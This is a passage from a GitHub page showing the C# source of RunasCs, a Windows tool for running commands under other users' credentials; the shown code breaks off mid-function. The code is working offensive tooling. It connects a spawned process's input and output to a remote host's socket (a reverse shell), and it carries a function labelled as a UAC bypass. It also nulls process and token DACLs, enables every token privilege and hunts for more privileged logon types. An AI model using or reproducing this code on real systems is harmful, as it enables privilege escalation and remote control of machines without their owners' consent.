-
Notifications
You must be signed in to change notification settings - Fork 132
/
RunasCs.cs
1969 lines (1769 loc) · 92.7 KB
/
RunasCs.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net.Sockets;
using System.Security.Principal;
using System.ComponentModel;
using System.Net;
public class RunasCsException : Exception
{
private const string error_string = "[-] RunasCsException: ";
private static string GetWin32ErrorString()
{
Console.Out.Flush();
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
return errorMessage;
}
public RunasCsException(){}
public RunasCsException(string message) : base(error_string + message) { }
public RunasCsException(string win32FunctionName, bool returnWin32Error) : base(error_string + win32FunctionName + " failed with error code: " + GetWin32ErrorString()) {}
}
public class RunasCs
{
private const Int32 Startf_UseStdHandles = 0x00000100;
private const int TokenPrimary = 1;
private const int TokenImpersonation = 2;
private const int LOGON32_PROVIDER_DEFAULT = 0;
private const int LOGON32_PROVIDER_WINNT50 = 3;
private const int LOGON32_LOGON_INTERACTIVE = 2;
private const int LOGON32_LOGON_NETWORK = 3;
private const int LOGON32_LOGON_BATCH = 4;
private const int LOGON32_LOGON_SERVICE = 5;
private const int LOGON32_LOGON_NETWORK_CLEARTEXT = 8;
private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
private const int ERROR_LOGON_TYPE_NOT_GRANTED = 1385;
private const int BUFFER_SIZE_PIPE = 1048576;
private const uint CREATE_NO_WINDOW = 0x08000000;
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
private const uint DACL_SECURITY_INFORMATION = 0x00000004;
private const UInt32 LOGON_WITH_PROFILE = 1;
private const UInt32 LOGON_NETCREDENTIALS_ONLY = 2;
private const int GetCurrentProcess = -1;
private IntPtr socket;
private IntPtr hErrorWrite;
private IntPtr hOutputRead;
private IntPtr hOutputWrite;
private WindowStationDACL stationDaclObj;
private IntPtr hTokenPreviousImpersonatingThread;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct ProcessInformation
{
public IntPtr process;
public IntPtr thread;
public int processId;
public int threadId;
}
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
private enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[StructLayout(LayoutKind.Sequential)]
private struct SOCKADDR_IN
{
public short sin_family;
public short sin_port;
public uint sin_addr;
public long sin_zero;
}
[StructLayout(LayoutKind.Sequential)]
private struct WSAData
{
internal short wVersion;
internal short wHighVersion;
internal short iMaxSockets;
internal short iMaxUdpDg;
internal IntPtr lpVendorInfo;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
internal string szDescription;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
internal string szSystemStatus;
}
private enum SE_OBJECT_TYPE
{
SE_UNKNOWN_OBJECT_TYPE = 0,
SE_FILE_OBJECT,
SE_SERVICE,
SE_PRINTER,
SE_REGISTRY_KEY,
SE_LMSHARE,
SE_KERNEL_OBJECT,
SE_WINDOW_OBJECT,
SE_DS_OBJECT,
SE_DS_OBJECT_ALL,
SE_PROVIDER_DEFINED_OBJECT,
SE_WMIGUID_OBJECT,
SE_REGISTRY_WOW64_32KEY
}
[StructLayout(LayoutKind.Sequential)]
private struct PROFILEINFO
{
public int dwSize;
public int dwFlags;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpUserName;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpProfilePath;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpDefaultPath;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpServerName;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpPolicyPath;
public IntPtr hProfile;
}
[DllImport("Kernel32.dll", SetLastError=true)]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("Kernel32.dll", SetLastError=true)]
private static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds);
[DllImport("advapi32.dll", SetLastError=true)]
private static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetThreadToken(ref IntPtr pHandle, IntPtr hToken);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern int ResumeThread(IntPtr hThread);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName,[MarshalAs(UnmanagedType.LPStr)] string pszDomain,[MarshalAs(UnmanagedType.LPStr)] string pszPassword,int dwLogonType,int dwLogonProvider,ref IntPtr phToken);
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx", SetLastError = true)]
private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, int TokenType, ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation);
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
private static extern bool CreateProcessWithLogonW(String userName,String domain,String password,UInt32 logonFlags,String applicationName,String commandLine,uint creationFlags,UInt32 environment,String currentDirectory,ref STARTUPINFO startupInfo,out ProcessInformation processInformation);
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
private static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName,string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles,uint dwCreationFlags,IntPtr lpEnvironment,string lpCurrentDirectory,ref STARTUPINFO lpStartupInfo,out ProcessInformation lpProcessInformation);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern uint SetSecurityInfo(IntPtr handle, SE_OBJECT_TYPE ObjectType, uint SecurityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize);
[DllImport("kernel32.dll")]
private static extern bool SetNamedPipeHandleState(IntPtr hNamedPipe, ref UInt32 lpMode, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)]
private static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit );
[DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)]
private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool GetUserProfileDirectory(IntPtr hToken, StringBuilder path, ref int dwSize);
[DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
[DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool UnloadUserProfile(IntPtr hToken, IntPtr hProfile);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags);
[DllImport("ws2_32.dll", SetLastError = true)]
private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize);
[DllImport("ws2_32.dll", SetLastError = true)]
private static extern ushort htons(ushort hostshort);
[DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
private static extern Int32 WSAGetLastError();
[DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)]
private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
[DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int closesocket(IntPtr s);
private string GetProcessFunction(int createProcessFunction){
if(createProcessFunction == 0)
return "CreateProcessAsUserW()";
if(createProcessFunction == 1)
return "CreateProcessWithTokenW()";
return "CreateProcessWithLogonW()";
}
private bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref IntPtr hWritePipe)
{
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
sa.Length = Marshal.SizeOf(sa);
sa.lpSecurityDescriptor = IntPtr.Zero;
sa.bInheritHandle = true;
if (CreatePipe(out hReadPipe, out hWritePipe, ref sa, (uint)BUFFER_SIZE_PIPE))
return true;
return false;
}
private string ReadOutputFromPipe(IntPtr hReadPipe)
{
string output = "";
uint dwBytesRead = 0;
byte[] buffer = new byte[BUFFER_SIZE_PIPE];
if(!ReadFile(hReadPipe, buffer, BUFFER_SIZE_PIPE, out dwBytesRead, IntPtr.Zero)){
output += "No output received from the process.\r\n";
}
output += Encoding.Default.GetString(buffer, 0, (int)dwBytesRead);
return output;
}
private IntPtr ConnectRemote(string[] remote)
{
int port = 0;
int error = 0;
string host = remote[0];
try {
port = Convert.ToInt32(remote[1]);
} catch {
throw new RunasCsException("Specified port is invalid: " + remote[1]);
}
WSAData data;
if( WSAStartup(2 << 8 | 2, out data) != 0 ) {
error = WSAGetLastError();
throw new RunasCsException(String.Format("WSAStartup failed with error code: {0}", error));
}
IntPtr socket = IntPtr.Zero;
socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);
SOCKADDR_IN sockinfo = new SOCKADDR_IN();
sockinfo.sin_family = (short)2;
sockinfo.sin_addr = BitConverter.ToUInt32(((IPAddress.Parse(host)).GetAddressBytes()), 0);
sockinfo.sin_port = (short)htons((ushort)port);
if ( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) {
error = WSAGetLastError();
throw new RunasCsException(String.Format("WSAConnect failed with error code: {0}", error));
}
return socket;
}
private bool ImpersonateLoggedOnUserWithProperIL(IntPtr hToken, out IntPtr hTokenDuplicate) {
IntPtr hTokenDuplicateLocal = new IntPtr(0);
bool result = false;
// if our main thread was already impersonating remember to restore the previous thread token
if (WindowsIdentity.GetCurrent(true) != null)
this.hTokenPreviousImpersonatingThread = WindowsIdentity.GetCurrent(true).Token;
if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDuplicateLocal))
throw new RunasCsException("DuplicateTokenEx", true);
if(AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDuplicateLocal))
AccessToken.SetTokenIntegrityLevel(hTokenDuplicateLocal, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token));
result = ImpersonateLoggedOnUser(hTokenDuplicateLocal);
hTokenDuplicate = hTokenDuplicateLocal;
return result;
}
private void RevertToSelfCustom() {
RevertToSelf();
if (this.hTokenPreviousImpersonatingThread != IntPtr.Zero)
ImpersonateLoggedOnUser(this.hTokenPreviousImpersonatingThread);
}
private void GetUserEnvironmentBlock(IntPtr hToken, string username, bool forceProfileCreation, bool userProfileExists, out IntPtr lpEnvironment)
{
bool result = false;
lpEnvironment = new IntPtr(0);
PROFILEINFO profileInfo = new PROFILEINFO();
IntPtr hTokenDuplicate;
if (forceProfileCreation || userProfileExists) {
profileInfo.dwSize = Marshal.SizeOf(profileInfo);
profileInfo.lpUserName = username;
result = LoadUserProfile(hToken, ref profileInfo);
if (result == false && Marshal.GetLastWin32Error() == 1314)
Console.Out.WriteLine("[*] Warning: LoadUserProfile failed due to insufficient permissions");
}
ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate);
try {
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
}
catch {
result = false;
}
RevertToSelfCustom();
CloseHandle(hTokenDuplicate);
if (result && (forceProfileCreation || userProfileExists)) UnloadUserProfile(hToken, profileInfo.hProfile);
}
private bool IsUserProfileCreated(string username, string password, string domainName, int logonType) {
bool result = false;
IntPtr hToken = IntPtr.Zero, hTokenDuplicate = IntPtr.Zero;
int logonProvider = LOGON32_PROVIDER_DEFAULT;
if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) logonProvider = LOGON32_PROVIDER_WINNT50;
result = LogonUser(username, domainName, password, logonType, logonProvider, ref hToken);
if (result == false)
throw new RunasCsException("LogonUser", true);
ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate);
try
{
int dwSize = 0;
GetUserProfileDirectory(hToken, null, ref dwSize);
StringBuilder profileDir = new StringBuilder(dwSize);
result = GetUserProfileDirectory(hToken, profileDir, ref dwSize);
}
catch {
result = false;
}
RevertToSelfCustom();
CloseHandle(hToken);
CloseHandle(hTokenDuplicate);
return result;
}
// UAC bypass discussed in this UAC quiz tweet --> https://twitter.com/splinter_code/status/1458054161472307204
// thanks @winlogon0 for the implementation --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs
private bool CreateProcessWithLogonWUacBypass(int logonType, uint logonFlags, string username, string domainName, string password, string processPath, string commandLine, ref STARTUPINFO startupInfo, out ProcessInformation processInfo) {
bool result = false;
IntPtr hToken = new IntPtr(0);
if (!LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken))
throw new RunasCsException("CreateProcessWithLogonWUacBypass: LogonUser", true);
// here we set the IL of the new token equal to our current process IL. Needed or seclogon will fail.
AccessToken.SetTokenIntegrityLevel(hToken, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token));
// remove acl to our current process. Needed for seclogon
SetSecurityInfo((IntPtr)GetCurrentProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(hToken))
{
if (domainName == "") // fixing bugs in seclogon ...
domainName = ".";
result = CreateProcessWithLogonW(username, domainName, password, logonFlags | LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo);
}
CloseHandle(hToken);
return result;
}
private string ParseCommonProcessesInCommandline(string commandline) {
string commandlineRet = commandline;
string[] args = commandline.Split(' ');
if (args[0].ToLower() == "cmd" || args[0].ToLower() == "cmd.exe") {
args[0] = Environment.GetEnvironmentVariable("COMSPEC");
commandlineRet = string.Join(" ", args);
}
if (args[0].ToLower() == "powershell" || args[0].ToLower() == "powershell.exe") {
args[0] = Environment.GetEnvironmentVariable("WINDIR") + @"\System32\WindowsPowerShell\v1.0\powershell.exe";
commandlineRet = string.Join(" ", args);
}
return commandlineRet;
}
private bool IsLimitedUserLogon(IntPtr hToken, string username, string domainName, string password, out int logonTypeNotFiltered) {
bool isLimitedUserLogon = false;
bool isTokenUACFiltered = false;
IntPtr hTokenNetwork = IntPtr.Zero;
IntPtr hTokenBatch = IntPtr.Zero;
IntPtr hTokenService = IntPtr.Zero;
logonTypeNotFiltered = 0;
isTokenUACFiltered = AccessToken.IsFilteredUACToken(hToken);
if (isTokenUACFiltered)
{
logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT;
isLimitedUserLogon = true;
}
else {
// Check differences between the requested logon type and non-filtered logon types (Network, Batch, Service)
// If IL mismatch, the user has potentially more privileges than the requested logon
AccessToken.IntegrityLevel userTokenIL = AccessToken.GetTokenIntegrityLevel(hToken);
if (LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ref hTokenNetwork) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenNetwork))
{
isLimitedUserLogon = true;
logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT;
}
else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_SERVICE, LOGON32_PROVIDER_DEFAULT, ref hTokenService) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenService))
{
// we check Service logon because by default it has the SeImpersonate privilege, available only in High IL
isLimitedUserLogon = true;
logonTypeNotFiltered = LOGON32_LOGON_SERVICE;
}
else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, ref hTokenBatch) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenBatch))
{
isLimitedUserLogon = true;
logonTypeNotFiltered = LOGON32_LOGON_BATCH;
}
if (hTokenNetwork != IntPtr.Zero) CloseHandle(hTokenNetwork);
if (hTokenBatch != IntPtr.Zero) CloseHandle(hTokenBatch);
if (hTokenService != IntPtr.Zero) CloseHandle(hTokenService);
}
return isLimitedUserLogon;
}
private void CheckAvailableUserLogonType(string username, string password, string domainName, int logonType, int logonProvider) {
IntPtr hTokenCheck1 = IntPtr.Zero;
if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hTokenCheck1)) {
if (Marshal.GetLastWin32Error() == ERROR_LOGON_TYPE_NOT_GRANTED) {
int availableLogonType = 0;
int[] logonTypeTryOrder = new int[] { LOGON32_LOGON_SERVICE, LOGON32_LOGON_BATCH, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_LOGON_NETWORK, LOGON32_LOGON_INTERACTIVE};
foreach (int logonTypeTry in logonTypeTryOrder)
{
IntPtr hTokenCheck2 = IntPtr.Zero;
if (LogonUser(username, domainName, password, logonTypeTry, logonProvider, ref hTokenCheck2)) {
availableLogonType = logonTypeTry;
if (AccessToken.GetTokenIntegrityLevel(hTokenCheck2) > AccessToken.IntegrityLevel.Medium)
{
availableLogonType = logonTypeTry;
CloseHandle(hTokenCheck2);
break;
}
}
if (hTokenCheck2 != IntPtr.Zero) CloseHandle(hTokenCheck2);
}
if (availableLogonType != 0)
throw new RunasCsException(String.Format("Selected logon type '{0}' is not granted to the user '{1}'. Use available logon type '{2}'.", logonType, username, availableLogonType.ToString()));
else
throw new RunasCsException("LogonUser", true);
}
throw new RunasCsException("LogonUser", true);
}
if (hTokenCheck1 != IntPtr.Zero) CloseHandle(hTokenCheck1);
}
private void RunasSetupStdHandlesForProcess(uint processTimeout, string[] remote, ref STARTUPINFO startupInfo, out IntPtr hOutputWrite, out IntPtr hErrorWrite, out IntPtr hOutputRead, out IntPtr socket) {
IntPtr hOutputReadTmpLocal = IntPtr.Zero;
IntPtr hOutputWriteLocal = IntPtr.Zero;
IntPtr hErrorWriteLocal = IntPtr.Zero;
IntPtr hOutputReadLocal = IntPtr.Zero;
IntPtr socketLocal = IntPtr.Zero;
if (processTimeout > 0)
{
IntPtr hCurrentProcess = Process.GetCurrentProcess().Handle;
if (!CreateAnonymousPipeEveryoneAccess(ref hOutputReadTmpLocal, ref hOutputWriteLocal))
throw new RunasCsException("CreatePipe", true);
if (!DuplicateHandle(hCurrentProcess, hOutputWriteLocal, hCurrentProcess, out hErrorWriteLocal, 0, true, DUPLICATE_SAME_ACCESS))
throw new RunasCsException("DuplicateHandle stderr write pipe", true);
if (!DuplicateHandle(hCurrentProcess, hOutputReadTmpLocal, hCurrentProcess, out hOutputReadLocal, 0, false, DUPLICATE_SAME_ACCESS))
throw new RunasCsException("DuplicateHandle stdout read pipe", true);
CloseHandle(hOutputReadTmpLocal);
hOutputReadTmpLocal = IntPtr.Zero;
UInt32 PIPE_NOWAIT = 0x00000001;
if (!SetNamedPipeHandleState(hOutputReadLocal, ref PIPE_NOWAIT, IntPtr.Zero, IntPtr.Zero))
throw new RunasCsException("SetNamedPipeHandleState", true);
startupInfo.dwFlags = Startf_UseStdHandles;
startupInfo.hStdOutput = hOutputWriteLocal;
startupInfo.hStdError = hErrorWriteLocal;
}
else if (remote != null)
{
socketLocal = ConnectRemote(remote);
startupInfo.dwFlags = Startf_UseStdHandles;
startupInfo.hStdInput = socketLocal;
startupInfo.hStdOutput = socketLocal;
startupInfo.hStdError = socketLocal;
}
hOutputWrite = hOutputWriteLocal;
hErrorWrite = hErrorWriteLocal;
hOutputRead = hOutputReadLocal;
socket = socketLocal;
}
private void RunasRemoteImpersonation(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) {
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDupImpersonation = IntPtr.Zero;
IntPtr lpEnvironment = IntPtr.Zero;
if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken))
throw new RunasCsException("LogonUser", true);
if (IsLimitedUserLogon(hToken, username, domainName, password, out logonTypeNotFiltered))
Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered));
if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDupImpersonation))
throw new RunasCsException("DuplicateTokenEx", true);
if (AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation))
AccessToken.SetTokenIntegrityLevel(hTokenDupImpersonation, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token));
// enable all privileges assigned to the token
AccessToken.EnableAllPrivileges(hTokenDupImpersonation);
CreateEnvironmentBlock(out lpEnvironment, hToken, false);
if (!CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcess", true);
IntPtr hTokenProcess = IntPtr.Zero;
if (!OpenProcessToken(processInfo.process, AccessToken.TOKEN_ALL_ACCESS, out hTokenProcess))
throw new RunasCsException("OpenProcessToken", true);
AccessToken.SetTokenIntegrityLevel(hTokenProcess, AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation));
// this will solve some permissions errors when attempting to get the current process handle while impersonating
SetSecurityInfo(processInfo.process, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
// this will solve some issues, e.g. Access Denied errors when running whoami.exe
SetSecurityInfo(hTokenProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (!SetThreadToken(ref processInfo.thread, hTokenDupImpersonation))
throw new RunasCsException("SetThreadToken", true);
ResumeThread(processInfo.thread);
CloseHandle(hToken);
CloseHandle(hTokenDupImpersonation);
CloseHandle(hTokenProcess);
if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment);
}
private void RunasCreateProcessWithLogonW(string username, string domainName, string password, int logonType, uint logonFlags, string commandLine, bool bypassUac, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) {
if (logonType == LOGON32_LOGON_NEW_CREDENTIALS)
{
if (!CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcessWithLogonW logon type 9", true);
}
else if (bypassUac)
{
int logonTypeBypassUac;
